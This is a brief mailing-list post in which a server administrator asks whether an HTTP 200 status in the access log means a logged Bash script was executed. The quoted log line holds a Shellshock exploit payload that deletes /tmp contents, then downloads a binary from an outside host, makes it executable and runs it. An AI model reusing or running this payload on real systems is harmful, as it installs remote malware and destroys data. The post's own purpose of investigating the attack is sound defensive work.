Bash script; Was it executed?

[lists at lazygranch.com]

I see a return code of 200. Does that mean this script was executed?
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219.153.48.45 - - [30/Jul/2016:07:40:07 +0000] "GET / HTTP/1.1" 200 643
"() { :; }; /bin/bash -c \x22rm -rf /tmp/*;ech o wget
http://houmen.linux22.cn:123/houmen/linux223 -O /tmp/China.Z-slma
>> /tmp/Run.sh;echo echo By China.Z >> /tmp/R un.sh;echo chmod
>> 777 /tmp/China.Z-slma >> /tmp/Run.sh;echo /tmp/China.Z-slma
>> >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod
>> >> 777 /tmp/Run.sh;/tmp/Run.sh\x22" "() { :; }; /bin/bash -c \x22rm
>> >> -rf /tmp/*;echo wget http://houmen
.linux22.cn:123/houmen/linux223 -O /tmp/China.Z-slma
>> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod
>> 777 /tmp/China.Z-slma >> /tmp/Run.sh;echo /tmp/China.Z-slma
>> >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 7
77 /tmp/Run.sh;/tmp/Run.sh\x22"
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